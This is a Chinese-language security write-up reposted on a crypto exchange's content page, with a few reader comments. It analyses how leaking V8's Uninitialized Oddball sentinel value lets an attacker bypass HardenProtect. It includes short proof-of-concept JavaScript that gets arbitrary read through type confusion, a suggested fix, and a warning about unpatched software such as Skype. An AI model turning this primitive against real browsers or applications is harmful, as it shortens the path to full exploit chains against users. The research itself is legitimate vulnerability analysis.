Chrome V8引擎Sentinel Value安全隐患分析及利用

剖析谷歌Chrome V8引擎中的Sentinel Value及其安全隐患

Sentinel value是算法中一种特殊值,常用于循环或递归的终止条件。Chrome源码中包含多个Sentinel value,其中一些如果泄露到JavaScript环境中可能导致安全问题。本文将探讨利用泄露的Uninitialized Oddball对象绕过Chrome V8 HardenProtect机制的方法。

V8中的Sentinel Value

V8源码的roots.h文件定义了大量原生对象,它们在内存中依次排列。如果这些不应暴露给JavaScript的原生对象被泄露,可能导致沙箱逃逸。以往TheHole对象的泄露就是一个典型案例。

为验证最新版V8中的问题,可以修改%TheHole()函数,使其返回Uninitialized Oddball对象:

javascript print(%DebugPrint(%TheHole())); // 输出:Uninitialized value

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

绕过HardenType保护

利用Uninitialized Oddball可以构造如下PoC代码实现任意读:

javascript function read(obj, idx) { return obj[idx]; }

let uninitialized = %TheHole(); let arr = [1.1]; %PrepareFunctionForOptimization(read); read(arr, 0); read(arr, 0); %OptimizeFunctionOnNextCall(read); read(arr, 0);

print(read(uninitialized, 0x1234n));

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

反汇编优化后的read函数可以看到,它没有严格检查obj.prop的Value类型,直接按JavaScript语义计算偏移并返回数组元素,从而造成类型混淆实现任意读。

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

建议修复方案是在优化后的函数返回数组元素时,添加对数组map的检查,避免直接计算偏移返回值。

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

PatchGap风险提示

分析发现,一些软件如Skype可能存在PatchGap问题,尚未修复该漏洞。黑客可能利用该漏洞在短时间内完成完整的利用链。

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

此外,新的绕过方法公开后,一些历史漏洞(如Issue1314616、Issue1216437)的利用难度大幅降低。建议厂商重新评估相关漏洞的安全风险。

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

总结

V8中还有许多其他Sentinel value值得进一步研究。建议考虑将%TheHole/Uninitialized_Oddball等作为变量加入Fuzzer,挖掘新的利用原语。无论该类问题是否被正式列为安全问题,它都可能大大缩短黑客的完整利用周期。

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

SENC10.61%
此页面可能包含第三方内容,仅供参考(非陈述/保证),不应被视为 Gate 认可其观点表述,也不得被视为财务或专业建议。详见声明
  • 赞赏
  • 5
  • 转发
  • 分享
评论
0/400
偏执之王vip
· 9小时前
又是一处隐患啊
回复0
WenMoon42vip
· 9小时前
又是深度研究啊
回复0
币圈柠檬精vip
· 9小时前
原来这里也有坑
回复0
ForkItAllDayvip
· 9小时前
堆栈溢出的新思路
回复0
Fren_Not_Foodvip
· 9小时前
绕过漏洞太骚了啊
回复0
交易,随时随地
qrCode
扫码下载 Gate APP
社群列表
简体中文
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)